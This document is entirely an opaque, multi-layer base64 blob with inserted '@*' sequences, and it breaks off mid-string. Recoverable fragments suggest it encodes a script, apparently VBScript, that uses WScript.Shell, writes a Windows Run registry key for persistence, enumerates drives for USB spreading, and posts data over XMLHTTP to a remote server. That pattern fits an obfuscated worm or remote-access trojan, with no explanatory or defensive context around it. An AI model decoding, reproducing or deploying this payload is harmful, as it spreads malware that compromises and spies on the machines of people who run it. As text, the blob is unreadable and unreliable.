FpNMHB3WTBoUmRXTXlUbmxoV0VJd1dtNVdjMkpITldoaVYxVm5URWhTZVdSWFZVdERiVn@*yWTJsQUttZGFWMFpxWVVOQ2EyTnRiREphVTBKd1ltbENiV0ZYZUd4ak0yeDZaRWRXZEdJeVNuRk1iVko1WVZoYWJHTjNjSEJhYVVBcVoxcElTbkJrYlZWMVlWaE9lVnBYUm10bFUwQXFPVWxJVW5sa1YxVm5aRWRvYkdKbmNIQmFhVUFxWjFwSVNuQmtiVlYxV201S2JGcFlUbmRaVj@*1c1NVTkFLaXRKUkVBcVoyUkhhR3hpWjNCd1dtbEFLbWRhU0Vwd1pHMVZkVnBJU25Ca2JWWXdaVmhDYkVsRFFDbzVTVVJGWjJSSGFHeGlaMjluU1VOQUttZGFiVGw1U1VOQ2JGbFhUbTlKUjFwd1lrZFZaMkZYTkdkYWJXeHpXbGhPTldNelVteGlWemxwWVdrMWJscFlVbTFpTW5ocldsaEpaMHREUW10amJXd3lXbE0xZDFsWVVtOUpRMWxuU1d4M2FVdFROVzFoVjNoc1kzZHZaMGxEUUNwblNVTkFLbWRKUTBKMlltbENiR051U25aamFVSjVXbGhPTVdKWFZXZGliVlkwWkVBcWIyZEpRMEFxWjBsRFFDcG5TVU5DY0ZwcFFDcG5ZVmMxZW1SSVNXZExSMXB3WWtkVmRXSnRSblJhVTNkcFRHbEpjRWxJVW05YVZ6UkxTVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUjJ4dFNVTkNjMWt5Um5wYVUwQXFiMk16UW5OaFdGRnZXbTFzYzFwVE5YVlpWekZzVEVOQUttbE1hVWx3UzBoV2FXSXpWblZhUTJoNlkwZDRjR1JEYUcxaFYzaHNURz@*xYUdKWFZYTkpRMGwxU1dscmNFdFRhMmRRUkRSblNXMTRkV0Y1U1dka1IyaHNZbWR2WjBsRFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUjFwd1lrZFZkVmxZVWpCamJXeHBaRmhTYkdONVFDbzVTVVJBS2t0SlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQ2NGcHBRQ3BuWkZkT2FHTXlWV2RMUjFwd1lrZFZkV0p0Um5SYVUydG5VRVEwWjJSWFRtaGpNbFZuUzBkc2RXTXpVbWhpUjNoMVdWY3hiRXRUUWpCaFIxWjFRMmxBS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpSMXB3WWtkV2RWbFhNV3hKUkRCbll6TkNjMkZZVVc5YWJXeHpXbE0xZFZsWE1XeE1RMGwxU1dsclMwbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwbldtMXNjMXBZVGpWak0xSnNZbGM1YVdGcE5XdGFWM2hzWkVkV2JXRlhlR3hKUTJoclkyMXNNbHBUTlhkWldGSnZTVU5aWjBsc2QybEpRMWxuV20xc2MxcFhOV2hpVjFWdlRVTnJaMHBwUUNwcFRHMTRkV0Y1U1dkTFVXOW5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbEhWbk5qTWxWTFNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kYWJXeHpXbGhPTldNelVteGlWemxwWVdrMWExcFhlR3hrUjFadFlWZDRiRWxEYUd0amJXd3lXbE0xZDFsWVVtOUpRMWxuU1d4M2FVbERXV2RhYld4eldsTTFkVmxYTVd4TFVXOW5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbEhWblZhUTBKS1dtZHZaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuV2xkNGVscFJiMmRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVWRhY0dKSFZucGxXRTR3V2xjeGRsbHRiM1ZhUjFaeldsaFNiRnB0YkhOYVUwQXFiMXB0YkhOYVV6VjNXVmhTYjB0VFFDcExTVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUjFaMVdrTkNjRnBuYjJkSlEwQXFaMGxEUUNwblNVTkNiR0p0VVdkaFYxbExTVU5BS21kSlEwSjFXbGhvTUVOcFFDcG5TVU5BS21kYWJUbDVTVWRXYUZreVoyZGFiVGx6V2tkV2VVbEhiSFZKUjFwd1lrZFdlbVZZVGpCYVZ6RjJXVzF2ZFZveVZqQmFiVGx6V2tkV2VVdERRbXRqYld3eVdsTTFkMWxZVW05SlExbG5TV3gzYVVsRGEzVmpNMVpwV20wNWMxcEhWbmxqZDI5blNVTkFLbWRKUTBBcVowbERRbTFpTW5ocldsaEpkVmxZVWpCamJXeHBaRmhTYkdONVFDbzVTVVJBS2t0SlEwQXFaMGxEUW5WYVdHZ3dRMjFXZFZwRFFuQmFaM0JzWW0xUloyRlhXVXRhVnpWclNVZHNiVU50Tld4bFNGRkxaRE5PYW1OdGJIZGtRelY0WkZkc01FTnRWblZhUTBKNlpGZEpTME50V2pGaWJVNHdZVmM1ZFVsSVFuWmpNMUZuUzBkT2RGcERRQ3B6WTBkR2VWbFhNSEJEWjNCM1lqTk9NRWxFTUdkalIwWjVXVmN3UzJGSVVqQmpSemxwWVdrMWRtTkhWblZKUTBwM1lqTk9NRWxwZDJsaFNGSXdZMFJ2ZGt4NVNXZEthVUp2WWpOT01FbERXV2RKYW05cFNVTlpaMk5IT1hsa1EwQXFiVWxwT0dsSlExbG5XVEl4YTB4RFFtMVpWM2g2V2xGd2IyUklVbmRpTWtweFRHNU9iR1JJU214aldGWnNZek5TYjFwWFJtdGFXRWxuU1c1V2VscFlTWFJaVjJSc1ltNVJOa2xwZUhCaWJWcDJZMjB4YUdSSGJIWmlaM0J2WkVoU2QySXlTbkZNYms1c1ltMVJaMk5IUm5sWlZ6QkxZMGM1ZW1SRFFDbzVTVWRvTUdSSVFuWlpiVzkxWTIxV2VtTkhPWFZqTWxZd1dsaG9NRU50Vm5WYVEwSnRaRmMxYW1SSGJIWmlaMjlMV201V2RWa3pVbkJpTWpSbllWYzFiV0l6U25SWldGSndZakkwUzJJeU5HZGFXRX@*1WWpOSloyTnRWbnBrVnpGc1NVYzFiR1ZJVVV0aFYxbG5TVWRzZFZwcFFDbzVTVU5KYVVsSVVtOWFWelJMU1VOQUttZEpSMngxV21sQUtqbEpSMmd6WVZkUlowcHBRbnBqUjNod1pFZFdlVWxBS205blNVTkFLbWRoVnpWdFNVUXdaMkZYTlcxSlEwQXFiVWxJVG05YVYzaHpZakpLY1V4dFZqUmpSMFoxV2tkV2RXUnRiSGxpTWpWMFdsYzFNR016VW5saFZ6VnVZM2xuYVVwWFRuWmlXRUl4WkVkV2VXSnRSblJhVTFWcFMxTkFLbTFKU0U1M1lrZHNNRnBZU1dkRGFVQXFaMGxEUW5CaWJWbG5VRk5DY0dKdFdXZEpRMWxuWXpKb2JHSkhlSFpaYlc5MVdsaG9kMWxYTld0YVZ6VXlZVmhLZG1KdE1XeGlibEo2WkVoS2NHSnRaSHBMUTBsc1pGaE9iR050TldoaVYxVnNTV2xyWjBwcFFucGpSM2h3WkVkV2VVTm5iMmRKUTBBcVoyTXlWakJKU0VwMllqTlJaMUJUUW01YVdGSjJXVzF3YkZrelVXOUpibVJ3WW0weGJtSllVbnBQYm5Sd1lsaENiR051VG5aaWJVWXdZVmM1ZFdKSFZqSmFWM2M1WVZjeGQxcFlTbnBpTWpWb1pFZFdPVWxXZUdOTWJIaDVZakk1TUZoSFRuQmlXRmw1U1dsclMwbERRQ3BuU1VoT2JHUkRRblpqZVVBcU9VbElTblppTTFGMVdsaG9iRmt6UmpGYVdFbzFTVU5uYVdNeVZuTmFWMDR3U1VOdloxcHVTblppVTBJellWYzBlazFzT1haalIxWjVXVmhTY0dKdFpIcGxXRTR3V2xjd2FVdFJiMmRKUTBBcVoxcHRPWGxKUjFab1dUSm5aMkl6VG5CaWJWcDJTVWRzZFVsSE9YcERhVUFxWjBsRFFDcG5TVU5DY0dKdFdXZFFVMEp3WW0xWlowcHBRblpqTW14MVdtMDRkVmt5Um5ka1IyeDJZbWxBS20xSlNFNTNZa2RzTUZwWVNXZEpRQ3B2WjBsRFFDcG5TVU5BS21kYVdHaHdaRU5DYldJelNVdEpRMEFxWjBsSE5XeGxTRkZMU1VOQUttZEpSMngxV21sQUtqbEpSMngxV21sQUttMUpRMH@*zWWtoV2VrbHBRQ3B0U1VoT2QySkhiREJhV0VsTFNVTkFLbWRKUjJ4MVdtbEFLamxKUjJ4MVdtbEFLbTFKU0U1c1dUTldlV0ZZVWpWSlExbG5Zek5DYzJGWVVteGpaMjluU1VOQUttZGhWelZ0U1VRd1oyRlhOVzFKUTFsblpGaE9hV016UW5sYVYwWnJZVmMxYmtOcFFDcG5TVU5DY0dKdFduWmpiVEZvWkVkc2RtSnBRQ281U1Vkc2RWcHBRQ3BuUTIxV2MyTXlWVXRKUTBBcVowbEhiSFZhYlRsNVlsZEdNR0ZYT1hWSlJEQm5ZVmMxYlVOdFZuVmFRMEp3V21kd2JHSnRVV2RhYmxaMVdUTlNjR0l5TkV0RFozQjZaRmRKWjJSWVFucGtSMFo1WkVOQUttOUxVWEIyWW1sQ2JHTnVTblpqYVVKNVdsaE9NV0pYVldkVWJWWTBaRUFxYjB0ak1taHNZa2Q0ZGxsdGIzVmpiVlp1WkROS2NHUkhWV2RKYTJoTVVsWnNabEV4VmxOVmExWlBWa1k1VmxVd1ZsTllTRTUyV201U00xbFlTbXhZUnpGd1dUTktkbU15T1cxa1JuZ3pZVmMxYTJJelpIcFlSMDR4WTI1S2JHSnVVakphV0VwNllWYzVkVmhJU2pGaWJIZHBTVU5aWjJNelFuTmhXRkZuUzBkc2RXTXpVbWhpUjNoMVdWY3hiRXhEU1hWSmFXdHZUVU5yYzBsRFFDcHBaRE5PYW1OdGJIZGtRelZzWlVkVloweDVPVU5KUTBsblNtbENhbUZJU2pOTFJFMHdTMU5BS20xSlIyeDFZek5TYUdKSGVHdGhXRWxuU21sQ2NHSnVUakJaVjNoelltMUdkRnBUUUNwdFNVZE9iMk51WTI5TmVsRndTVU4zWjBsc1NrWlNNVGxVVjJsSlMyTXlhR3hpUjNoMldXMXZkV050Vm01a00wcHdaRWRWWjBscmFFeFNWbXhtVkVVNVJGRlZlR1pVVlVaRVUwVnNUMUpXZUhwaU1sb3daREpHZVZwV2VIUmhWMDU1WWpOT2RscHVVbU5rTW14MVdrYzVNMk14ZUdwa1dFcDVXbGMxTUdSdFZubGpNbXgyWW14NGVXUlhOV05KYVVBcWJVbElUbmRpUjJ3d1NVTm9jR0p1VGpCWlYzaHpZbTFHZEZwVGQybE1hVWx3UzBSQUtuQk1RMEFxWjBsdVpIcFpNMHB3WTBoUmRWcFlhR3hKUXpoMlVXbEFLbWxKUTBBcWJVbEhUbTlqYm1OdlRYcFJjRWxEV1dkaFZ6VjZaRWRHYzJKSFVuQmphVUFxYlVsSGJIVmpNMUpvWWtkNGRWbFhNV3hKUTFsbldUSm9lV1I1WjNwT1EydG5URU5BS21sVmExWklXREZPWVVsbmNHMWhWM2hzWXpOc2VtUkhWblJpTWtweFRHMU9kbU5JYkcxaFYzaHNTVWhrZWxrelNuQmpTRkYxWXpKT2VXRllRakJhYmxaellrYzFhR0pYVlhOaFZ6VjZaRWRHYzJKSFVuQmphVUFxYlVsSGJIVmpNMUpvWWtkNGRWbFhNV3hNU0ZKNVpGZFZTMXB0YkhOYVdFNDFZek5TYkdKWE9XbGhhVFZxWWpOQ05WcHRiSE5hVTBJell6Sk9lV0ZZUWpCTWJrNXFZMjFzZDJSSFdqRmlSM2gxV1ZjeGJFeElUakJaV0Vvd1pGaEFLbWRLYVVKd1ltNU9NRmxYZUhOaWJVWjBXbE5BS25Oa1NFb3hXbEZ2UzFwWE5XdEpTRTR4V1dkdlMwTnRXakZpYlU0d1lWYzVkVWxIYUROaFYxRkxZakkwWjFwWVNubGlNMGxuWTIxV2VtUlhNV3hKUnpWc1pVaFJTME51VG14a1EwSjVZakk1TUVsRU1HZGFNbFl3WWpKS2NWcFhUakJMUTBvellWYzFkRm95TVRCamVuQTNZVmN4ZDFwWVNucGlNalZvWkVkc2RtSnRlR3hrYlZaelVGZHNkR05IVm5sak1qbDFXVmhTYkdaVFJtTllRelZqWTIwNWRtUkdlR3BoVnpFeVRXbEpjRU51VG14a1EwSnJZVmhPY21ONVFDbzVTVWhLZG1JelVYVmFXR2hzV1ROR01WcFlTalZKUTJkcFl6SldjMXBYVGpCSlEyOW5XbTVLZG1KVFFqTmhWelI2VFd3NWMySXlaSEJaTWtaeldrZHNlbUY1U1hCRGJWcDJZMmxDYkZsWFRtOUpSMUp3WXpKeloyRlhOR2RhUjJ4NllUTk5TMGxEUUNwblNVZHNiVWxEUW10aFdFNXlURzVhZG1KSVZuUmFXRTVzWTIxc2FHSkhOVEZpVjBwc1kybEFLamhRYVVBcWFVbHBRakJoUjFaMVEybEFLbWRKUTBBcVowbERRQ3BuWVVoa2NGcERRQ281U1VkU2NHTXljM1ZrYlRselpGY3hiR015Vm5saFYwWnpZbTVXZEZsdFZubERhVUFxWjBsRFFDcG5TVU5BS21kYVdHaHdaRU5DYldJelNVdEpRMEFxWjBsSFZuVmFRMEp3V21kd2RWcFlhREJEYlZaMVdrTkNiV1JYTldwa1IyeDJZbWR2UzBOdFdqRmliVTR3WVZjNWRVbElUbXhaTTFaNVlWaFNOVWxBS25CMlltbENiR051U25aamFVSjVXbGhPTVdKWFZXZGliVlkwWkVBcWIwdGpNbFpxWkZoS2NHUklhMmRRVTBBcWFVbG5iMHRqTWxZd1NVYzVhV0Z1WkhSaFdFNXNZMjVhY0ZreVZXZFFVMEp1V2xoU2RsbHRjR3haTTFGdlNXNWtjR0p0TVc1aVdGSjZUMjUwY0dKWVFteGpiazUyWW0xR01HRlhPWFZpUjFZeVdsZDNPV0ZYTVhkYVdFcDZZakkxYUdSSFZqbEpWbmhqVEd4NGVXSXlPVEJZUj@*1d1lsaFplVWxwYTB0ak1sWXdTVWRPZG1KSGJEQmFWekY2U1VRd1oySXlTbkZrTWpGd1l6SldlV1J0YkdwYVV6VnNaVWRXYW1OWVZteGpibXR2U1c1T2JHSkhWbXBrUTBBcWNVbEhXbmxpTWpCblpESnNkVTE2U21aaU0wSnNZMjFHTUdGWE5XNWpNMng2WkVkV2RFbHBkM05PUkdkd1EyMWFkbU5wUW14WlYwNXZTVWM1YVdGdGJEQmFWekJuWVZjMFoxa3lPWE5oV0ZKc1lsaE5TMGxEUUNwblNVaGFiR051VG5CaU1qVjZaRWhKWjFCVFFucGpSM2h3WkVOQUttOWlNa3B4WVZoU2JHSlROVEphV0VwNllWYzVkVXhEU1hWSmFXdExZbTFXTkdSQUtuQXlXbGhLZW1GWE9YVmpNMUo1U1VRd1oyTXpRbk5oV0ZGblMwZE9kbUpIYkRCYVZ6RjZURzVhYkdOdVRuQmlNalJ6U1drMGFVdFJjSFpqTTFwc1kyNU9jR0l5TkdkUVUwSXlXbGhLZW1GWE9YVmpNMUo1U1VObmQwdFRRQ3B0U1VOSmRVbG5jRzFpTTBsblNVaG5aMUJUUUNwNFNVaFNka2xJVm1saU0xWjFXa05BS205a2JWWjVZekpzZG1KdVRqQmphV3RMUTFOQ2RtTXpXbXhqYms1d1lqSTBaMUJUUW5aak0xcHNZMjVPY0dJeU5HZEthVUFxWjJSdFZubGpNbXgyWW01T01HTnBRQ3B2WVZOclMySnRWalJrUUNwd2RtTXpXbXhqYms1d1lqSTBaMUJUUW14a2JVWnpTVU5vZG1NeldteGpiazV3WWpJMGNFTnRiRzFKUTBKMll6TmFiR051VG5CaU1qUm5VR2xBS2pKSlNGSnZXbGMwWjJNeVRXZFFVMEFxYVdNeVZtcGtXRXB3WkVoc2FscFhOVEJhV0VsNVNXbENiR0pJVG14SlNFNXFTVVF3WjBsdVRteFpNMVo1WVZoU05Wa3lWblZrUjFaNVNXZHZTMk15VmpCSlJ6bHBZVzVPYkZrelZubGhXRkkxV1RKV2RXUkhWbmxKUkRCbldqSldNR0l5U25GYVYwNHdTME5LTTJGWE5YUmFNakV3WTNwd1kxaEhlSFpaTWtaellVYzVlbVJHZUhsaU1qa3dXRU5KWjBwcFFucFplV3RMVlRKV01FbEhUblppUjBaMVpFZHNNbUZZU2pGamVVQXFPVWxIT1dsaGJrNXNXVE5XZVdGWVVqVlpNbFoxWkVkV2VVeHRWalJhVj@*1NFpGZFdlV1ZUWjJsak1sWnpXbGRPTUVsRGIyZGFia3@*yWWxOQ2FHSnVVbkJrYld4NVpGaE9kMk50T1d0a1YwNHdTV2wzYVdRelJuTkphWGQzUzFGdlMxcHRPWGxKUjFab1dUSm5aMkl5U25GWlZ6VXdZVmhhY0dOdVZucEpSMngxU1VkT2RtSkhSblZrUjJ3eVlWaEtNV04zYjJkSlEwQXFaMk15Vm1wa1dFcHdaRWhyWjBsRU1HZGpNbFpxWkZoS2NHUklhMmRKUTFsbllqSktjVmxYTlRCaFdGcHdZMjVXZWt4dFVuQmpNMEp6V1Zoc2RWbFhNV3hKUTFsblNXbEFLblZKWjNCMVdsaG9NRU50YkcxSlNFNXNXVE5XZVdGWVVqVkpRMEFxT1VsRFNXbEpTRkp2V2xjMFoyTXlWbXBrV0Vwd1pFaHJaMGxFTUdkSmJUVm9ZbWt4YUdScFNVdGFWelZyU1VkYU1XSnRUakJoVnpsMVEyZHZTMXB1Vm5WWk0xSndZakkwWjJGWE5YcGtSMFoxV1RKVlMySXlOR2RhV0VwNVlqTkpaMk50Vm5wa1Z6RnNTVWMxYkdWSVVVdERibFo2V1c1T2QyTnRWbWhhUjJ4MVdubEFLamxKU0U1dldsZDRjMkl5U25GTWJrcHNXak5LYkZsWFVXZExRMHBKVXpCV1dsZ3dlRkJSTUVaTldEQXhRbEV3YUVwVWExWmpZekk1YldSSVpHaGpiVlpqU1dsQUttMUpTRTUzWWtkc01FbERhSEJpYms0d1dWZDRjMkp0Um5SYVUzZHBUR2xKY0V0RVFDcHdTVU5aWjBsc2QybExVWEJ3V21sQ01XTXlTbnBqU0Vwc1dWZFNjR0p0WTJkUVUwQXFhVWxwUWpCaFIxWjFRMmxBS21kSlIyeHRTVWQ0YWxsWVRteEpRMmRuWWxkc2EwdElaSHBaTTBwd1kwaFJkV015VG5saFdFSXdXbTVXYzJKSE5XaGlWMVZ6VFdscmNFbEVNR2RKYW5CalNXbEFLbTFKUTBKeldUSkdlbHBUYUhCaWJrNHdXVmQ0YzJKdFJuUmFVMnRuWkVkb2JHSm5iMmRKUTBBcVowbERRakZqTWtwNlkwaEtiRmxYVW5CaWJXTm5VRk5BS21sa1NFb3hXbE5BS25SSlEwbG5TbWxDYTFsWVVteERhVUFxWjBsRFFDcG5TVWhPYjFwWGVITmlNa3B4VEc1S2JGb3paSGxoV0ZKc1NVTktTVk13VmxwWU1IaFFVVEJHVFZnd01VSlJNR2hLVkd0V1kyTXlPVzFrU0dSb1kyMVdZMGxwUUNwdFNVaE9kMkpIYkRCSlEyaHdZbTVPTUZsWGVITmliVVowV2xOM2FVeHBTWEJMUkVBcWNFbERRQ3B0U1VOS1kwbHBkMmRKU0ZaNldXNU9kMk50Vm1oYVIyeDFXbmwzWjBsc1NrWlNNVGxVVjJsSlMwbERRQ3BuV2xkNGVscFJiMmRKUTBBcVowbERRakZqTWtwNlkwaEtiRmxYVW5CaWJXTm5VRk5BS21sYWJVWnpZekpWWjB4VFFDcHBTVU5aWjFwSFJqQmFVVzluU1VOQUttZEpRMEo2WVVkV2MySkhPV2xoYVRWNVdsZGtNMk50YkRCYVUwQXFhVk5GZEVaWFZqbE5WREJPUWxSR09VNVJWVTVKVTFVMVJsaElUblphYmxJeldWaEtiRmhEU1dkS2FVSjZZMGQ0Y0dSRFFDcHZZVmMxZW1SSFJuTmlSelZvWWxkVmMwbHBOR2xMVTJkM1MxTkFLbWRLYVVBcWFWaERTWE5KUTBJeFl6SktlbU5JU214WlYxSndZbTFqYzBsRFNsTlNWV1JtVlRGdmFVTm5iMmRKUTBKc1ltMVJaMkZYV1V0YVZ6VnJTVVZzYlVObmIwdERibFozWXpOU2FHTnVVVXRqTWxZd1NVaE9hbU50Ykhka1Ixb3hZa2Q0ZFZsWE1XeGpNbWgyWTI1UloxQlRRQ3BuV20xc2MxcFlUalZqTTFKc1lsYzVhV0ZwTlc1YVdGSnRZVmQ0YkVsRGFETmpNazU1WVZoQ01FeHVUbXBqYld4M1pFZGFNV0pIZUhWWlZ6RnNTMUZ3ZWxwWVVXZGhWelY2WkVkR2MySkhXakZpUjNoMVdWY3hiR015YUhaamJsRm5VRk5BS21kYWJXeHpXbGhPTldNelVteGlWemxwWVdrMWJscFlVbTFoVjNoc1NVTm9jR0p1VGpCWlYzaHpXa2RzZVVsRFdXZGhWelY2WkVkR2MySkhOV2hpVjFWd1EyMXNiVWxEUW5OWk1rWjZXbE5BS205ak1rNTVZVmhDTUZwdVZuTmlSelZvWWxkV2VtRkhPWGxrUXpWNllVYzVlV1JJUW1oa1IyZHdTVVIzSzBsSGVHcFpXRTVzU1VOb2NHSnVUakJaVjNoeldtNVdjMkpITldoaVYxWjZZVWM1ZVdSRE5YcGhSemw1WkVoQ2FHUkhaM0JKU0ZKdldsYzBaME5wUUNwblNVTkNlbUZIVm5OaVJ6bHBZV2sxZVdSWE5HZEpibVI2V1ROS2NHTklVWFZhV0doc1NVTTRkbEZwUUNwcFNVTlpaMWt5YUhsTFJFMHdTMU5BS20xSlIyeDFZek5TYUdKSGVHdGhXRWxuU21sQ2NHSnVUakJaVjNoelltMUdkRnBUUUNwdFNVVk9iMk5wWjNwT1EydExTVU5BS21kSlNHUjZXVE5LY0dOSVVYVmpXRlp3WkVOQUtrdGFWelZyU1VWc2JVTnRWbmxqYVRWcVlrZFdhR05uY0hwYVdGRm5ZakkxYkdJeU5XcGFVMEFxT1VsSFduQmlSMVo2WlZoT01GcFhNWFpaYlc5MVlqTkNiR0p1VW14bFNGSnRZVmQ0YkVsRGFIQmliazR3V1ZkNGMxcEhiSGxKUTFsbllWYzFlbVJIUm5OaVJ6Vm9ZbGRWWjB4RVozTkpSMXBvWWtoT2JFdFJjSEJhYVVBcVoxcFlTbmxNYlRVeFlsZEtiR05wUUNvclNVUkFLbWRrUjJoc1ltbENNMk15VG5saFdFSXdURzVHTVdGWVVVdGFWelZyU1VkYU1XSnRUakJoVnpsMVEyZHZTMk16Vm1sSlNFNXdaRWRXYTJJelpIVmlSemxvV2tkV2VVbERhRzFoVjNoc1pGaEtjMHhIV25CaVIxWjFXVmN4YkV0UmIwdGpNMUo1WWtkc2RXRjVRQ281U1VkYWNHSkhWakZqYlhkTFl6TlNlV015UmpKYVdGSjJTVVF3WjJGWE5YcGtSMFp6WWtkU2NHTnBRQ3B0U1VkYWNHSkhWblZaVnpGc1EyNU9iR1JEUW5aWmJYQnZaRWhTZDFwSE9UTmliWGgyV1ZkUloxQlRRbXBqYlZab1pFZFdkbGx0Y0d4Wk0xRnZTVzB4ZW1WSE1YTk5hVFUwWWxkNGIyUklVbmRKYVVBcWNFTnRPV2xoYldnd1pFaENhMkl6WkhWaVJ6bG9Xa00xZG1OSFZuVkpRMHB1V2xoUmFVeERRbnBrU0VwellWYzFja3hEUW0xWlYzaDZXbEZ3ZGxsdGNHOWtTRkozV2tjNU0ySnRlSFpaVjFGMVl6SldkVnBBS205TFl6SldNRWxIT1dsaGJWcDZZakpTZG1ReU5YTmlNa1pyU1VRd1oxa3pTbXhaV0ZKc1lqSktjVnBYVGpCSlEyZHBZekpPZVdGWVFqQmhWelZ1VEcxYWNHSkhWbnBsV0U0d1dsY3hkbGx0Y0d4Wk0xRnBTMUZ3Y0ZwcFFDcG5ZakpLY1ZwdVRuWmFSemt6WW0xNGRsbFhVWFZhYld4eldsZFdOR0ZZVGpCamVVQXFiMk16VW5sak1rWXlXbGhTZGt0VFFqQmhSMVoxUTJsQUttZEpRMEoyV1cxd2JXTXlPV3RpTTJSMVlrYzVhRnBETld0YVYzaHNaRWRXYldGWGVHeEpRMmg2WkVoS2VsbFlXbXhrUnpod1EyMVdkVnBEUW5CYVoyOW5RMjFzYlVsSE9XbGhiV2d3WkVoQ2EySXpaSFZpUnpsb1drTTFlbVJIUmpCa1dFMW5VRk5BS25sTlJFQXFaMlJIYUd4aVoyOW5TVU5DYTJGWE1HZEpSemxwWVc1T01HTnRWbWhpVjFKMlpESTFjMkl5Um10RGFVQXFaMGxJVG14a1EwQXFaMkl5U25Gak0xSjVXbGRHZEZwSE9UTmliWGgyV1ZkUloxQlRRbXBqYlZab1pFZFdkbGx0Y0d4Wk0xRnZTVzFHYTJJeVVtbE1iazR3WTIxV2FHSlRTWEJEYVVBcVowbElaSEJrUjJkbllqSktjV016VW5sYVYwWjBXa2M1TTJKdGVIWlpWMUZMUTFGcmRXUkliSGRhVTBBcU9VbEVSV2REWjJ0S1RHMDVkMXBYTkV0RFVXdDFaRE5LY0dSSFZXZGlNa3B4WVVoU01HTkhVblprTWpWellqSkdhMHh1U214ak0wSjJZbTVPYkZsdE9XdGxVVzlLUTFNMWVsbFlXbXhrUnpsdFlWZDRiRWxJVGpCamJrNW9aRzFXTUdKM2IwcERVelZxWWtjNWVscFJiMmRKUTBKc1ltMVJaMlF5YkRCaFFDcHZaMGxEUW5wYVdGRm5ZakpLY1dNelVubGFWMFowV2tjNU0ySnRlSFpaVjFGblVGTkNkV0l6VW05aFZ6VnVRMjFXZFZwRFFuQmFaM0J3V21sQ2RsbHRjRzFqTWpscllqTmtkV0pIT1doYVF6VnRZVmQ0YkZwWWFIQmpNMUo2UzBoT01HTnVUbWhrYlZZd1lubHJaMlJIYUd4aVoyOW5TVU5DZW1GSFZuTmlSemxwWVdrMWVXUlhOR2RpTWtweFdtNU9kbHBIT1ROaWJYaDJXVmRSZFZveVZqQmFiV3h6V2xOQUttOWpNMUo1WXpKR01scFlVblpMVXpWNllVYzVlV1JJUW1oa1IyZExXbGMxYTBsSGJHMUpRQ3B3YkdKdFVXZGpNMVpwUTJkd2VtUlhTV2RhUnprelltMTRkbGxYVVdkTFIxcHdZa2RXTVdOdGQzTmFiV3h6V2xkU2NHTnBhMHREYld4dFNVZGFjR0pIVm10aFdFbG5VRk5BS21sSmFVSXdZVWRXZFVsQUttOW5TVU5DYldGWGVHeGFSMng1U1VRd1oyRlhOWHBrUjBaellrZFNjR05uY0d4aWJWRm5ZVmRaUzBOdVRqQmpiazVvWkcxV01HSjVRQ281U1VkYWNHSkhWbXRoV0VsblNtbENkR0ZYVVdkTFIxcHdZa2RXTVdOdGQzTkpSMngxWXpOU2VXTnRWakpKUTJodFlWZDRiR1JZU25OTVEwcGpTV2xyWjB0NVFDcDRTMUZ3ZWxwWVVXZGlNa3B4WVVoU01HTkhVblprTWpWellqSkdhMGxFTUdkWk0wcHNXVmhTYkdJeVNuRmFWMDR3UzBOS2RHTXphSFJpUkVsMVpVY3hjMkZJVWpCalEwbHdRMj@*1YVdGdGFEQmtTRUpyWWpOa2RXSkhPV2hhUXpWMlkwZFdkVWxEU25kaU0wNHdTV2wzYVdGSVVqQmpSRzkyVEhsSlowcHBRbTlpTT@*0d1NVTlpaMGxxYjJsSlExbG5ZMGM1ZVdSRFFDcHRTV2s0YVVsRFdXZEpiV3g2VEZoT2JHSnRVbkJpYldOcFNVTlpaMk16UW5OaFdGSnNZMmxBS20xSlIxcHdZa2RXTVdOdGQzTkpSMXBvWWtoT2JFTnRPV2xoYldnd1pFaENhMkl6WkhWaVJ6bG9Xa00xZWxwWE5XdEpRMGxwUTJsQUttZEpRMEFxWjBOdVRteGtRMEoyV1cxd2JXTXlPV3RpTTJSMVlrYzVhRnBEUUNvNVNVZE9lVnBYUmpCYVZ6bHBZVzFXYW1SRFFDcHZTVzVPYW1OdGJIZGtSMngxV25rMWJXRlhlR3hqTTJ4NlpFZFdkR0l5U25GYVYwNHdTV2xyUzJGWFdXZEpSemxwWVcxYWVtSXlVblprTWpWellqSkdhMHh0V25CaVIxWnNaVWRzZW1SSVRXZExTRTR3WTI1T2FHUnRWakJpZVd0blpFZG9iR0puYjJkSlEwQXFaMkl5U25GYWJrNTJXa2M1TTJKdGVIWlpWMUYxV2tkV2MxcFlVbXhhYld4eldsTkFLbTlqTTFKNVl6SkdNbHBZVW5aTFVYQnNZbTFSWjJGWFdVdGhWMWxuU1VjNWFXRnRhREJrU0VKcllqTmtkV0pIT1doYVF6VjZaRWRHTUdSWVRXZFFVMEFxZVUxRVFDcG5aRWRvYkdKbmIyZEpRMEFxWjFwSGJIUkpRMEoyV1cxd2VtUklTbXhaVnpGcllqTmtkV0pIT1doYVFDcHZTbU15VmpCSlEwSjJXVzF3ZW1SSVNteFpWekZyWWpOa2RXSkhPV2hhUTBBcU9VbEhUbmxhVjBZd1dsYzVhV0Z0Vm1wa1EyZHBXVmRTZGxwSFNYVmpNMUo1V2xkR2RFbHBhMHRKUTBBcVowbElaSEJrUjJkbllqSktjV016VW5sYVYwWjBXa2M1TTJKdGVIWlpWMUZuUTJkclNrbEROVEJsV0VKc1NVUXdaMDFUUUNwTFExRnJaMHh0T1hkYVZ6UkxRMUZyWjB4dVpIbGhXRkpzU1VjNWFXRnRhREJrU0VKcllqTmtkV0pIT1doYVF6VjVXbGhPZDJJeU5YcGFWMH@*yV2toclMwTlJhMmRNYms1b1pHMVdNR0l5V25CaVIxVm5Zek5TZVdNeVJqSmFXRkoyUTJkclNrbEROV3BpUnpsNldsRnZTbHBYTld0SlNHUndaRWRuUzBsRFFDcG5TVWhPYkdSRFFuWlpiWEI2WkVoS2JGbFhNV3RpTTJSMVlrYzVhRnBEUUNwblVGTkNkV0l6VW05aFZ6VnVRMjFXZFZwRFF